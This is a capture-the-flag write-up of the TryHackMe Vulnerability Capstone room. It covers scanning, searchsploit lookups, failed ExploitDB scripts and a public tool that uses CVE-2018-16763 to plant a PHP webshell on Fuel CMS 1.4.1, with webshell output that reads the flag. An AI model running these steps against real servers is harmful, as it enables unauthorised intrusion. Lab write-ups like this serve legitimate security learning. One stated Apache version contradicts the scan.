> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Vulnerability Capstone Writeup: Fuel CMS 1.4.1 RCE (CVE-2018-16763)
- URL: https://taiwanding.com/en/tryhackme-vulnerability-capstone-writeup/
- Published: 2025-10-03T08:16:04.000Z
- Updated: 2026-07-15T02:49:54.000Z
- Author: Kevin Chen
- Tags: #en, #en-ctf

## **Room Info**

- **Platform**: TryHackMe
- **Difficulty**: Easy
- Room link: [https://tryhackme.com/room/vulnerabilitycapstone](https://tryhackme.com/room/vulnerabilitycapstone?ref=taiwanding.com)

## **Service Discovery**

### Nmap Scan

```bash
└─$ nmap -Pn -sV -sC 10.201.27.44
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-03 15:46 CST
Nmap scan report for 10.201.27.44
Host is up (0.37s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 c9:f5:89:c3:63:5a:00:51:0a:5d:ff:af:ae:8d:c6:b5 (RSA)
|   256 0f:31:0b:68:2c:dc:4d:a9:a9:e6:93:a9:dc:9a:1c:72 (ECDSA)
|_  256 d0:63:65:cb:b6:fd:d9:a9:ea:07:9e:48:5f:dd:38:c2 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/fuel/
|_http-title: Welcome to FUEL CMS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.17 seconds
```

**Results**

- **80/tcp**: Apache httpd 2.4.18
- Service: Fuel CMS

## **Step 1: Web Service Recon**

Visiting `http://10.201.27.44/` reveals the Fuel CMS home page.

**Version identification**

- The home page or error messages confirm the version: **Fuel CMS 1.4**
- This version has a known RCE vulnerability

## **Step 2: Vulnerability Research**

### Searching for Known Vulnerabilities

```bash
searchsploit fuel cms

```

**Several exploits turn up**

```
Fuel CMS 1.4.1 - Remote Code Execution (1)    | linux/webapps/47138.py
Fuel CMS 1.4.1 - Remote Code Execution (2)    | php/webapps/49487.rb
Fuel CMS 1.4.1 - Remote Code Execution (3)    | php/webapps/50477.py

```

**Vulnerability description**

- **CVE-2018-16763**: Fuel CMS 1.4.1 allows PHP code injection through the `filter` parameter of `pages/select/`
- **Affected versions**: <= 1.4.1
- **Vulnerability type**: Pre-Auth RCE (no authentication required)

## **Step 3: Exploitation Attempts**

### Method 1: Python exploit (failed)

```bash
# Try the script from ExploitDB
python3 50477.py -u http://10.201.27.44/

```

**Problem**

- Output parsing errors
- Only shows "system" or a PHP error message
- The command does execute, but the results can't be displayed correctly

### Method 2: Ruby exploit (failed)

```bash
# Install dependencies
gem install docopt

# Run
ruby 49487.rb http://10.201.27.44 "ls -la"

```

**Problem**

```
NoMethodError: undefined method 'captures' for nil

```

- The regex match fails
- There's a bug in the output-parsing logic

## **Step 4: Successful Exploitation - the p0dalirius tool**

### Using the Best Tool

This tool automatically uploads a PHP webshell and gives you an interactive shell, sidestepping the output-parsing problem entirely.

**Install and run**

```bash
# Clone repository
git clone https://github.com/p0dalirius/CVE-2018-16763-FuelCMS-1.4.1-RCE.git
cd CVE-2018-16763-FuelCMS-1.4.1-RCE

# Launch the interactive console
python3 console.py -t http://10.201.27.44

```

### How It Works

1. **Webshell upload**: Uses `file_put_contents` to upload a PHP webshell via CVE-2018-16763
2. **Interactive shell**: Commands are run through an API endpoint, so the output comes back clean with no HTML noise

## **Step 5: Recon**

```bash
└─$ python3 console.py -t http://10.201.27.44
CVE-2018-16763-FuelCMS-1.4.1-RCE - by Remi GASCOU (Podalirius)

[+] Shell was uploaded in http://10.201.27.44/908b945f78d04d3fbe1d23b40a369094.php
[webshell]> ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
[webshell]> ls -al /home/ubuntu
total 40
drwxr-xr-x 5 ubuntu ubuntu 4096 Sep  3  2021 .
drwxr-xr-x 3 root   root   4096 Sep  3  2021 ..
-rw------- 1 ubuntu ubuntu  178 Sep  3  2021 .Xauthority
lrwxrwxrwx 1 ubuntu ubuntu    9 Sep  3  2021 .bash_history -> /dev/null
-rw-r--r-- 1 ubuntu ubuntu  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Feb 25  2020 .bashrc
drwx------ 2 ubuntu ubuntu 4096 Sep  3  2021 .cache
drwxrwxr-x 3 ubuntu ubuntu 4096 Sep  3  2021 .local
-rw-r--r-- 1 ubuntu ubuntu  807 Feb 25  2020 .profile
drwx------ 2 ubuntu ubuntu 4096 Sep  3  2021 .ssh
-rw-r--r-- 1 ubuntu ubuntu    0 Sep  3  2021 .sudo_as_admin_successful
-rw-rw-r-- 1 ubuntu ubuntu   23 Sep  3  2021 flag.txt
[webshell]> cat /home/ubuntu/flag.txt
THM{Redacted}
```

## **Technical Summary**

### **CVE-2018-16763 in Detail**

1. **Affected parameters**:
  - `/fuel/pages/select/?filter=`
  - `/fuel/pages/preview/` (the data parameter)
2. **Why so many exploits fail**:
  - They use the `system()` function, so the output gets mixed into the HTML error page
  - The regex can't reliably extract the output
  - PHP Warning messages get in the way

## Lessons Learned

### On **Step 3** and **Step 4:**

**I basically tested every searchsploit script for this step and none of them worked. In the end I found a more stable version on GitHub**, so you don't always have to rely on searchsploit — it's worth hunting for a newer or more stable version of an exploit.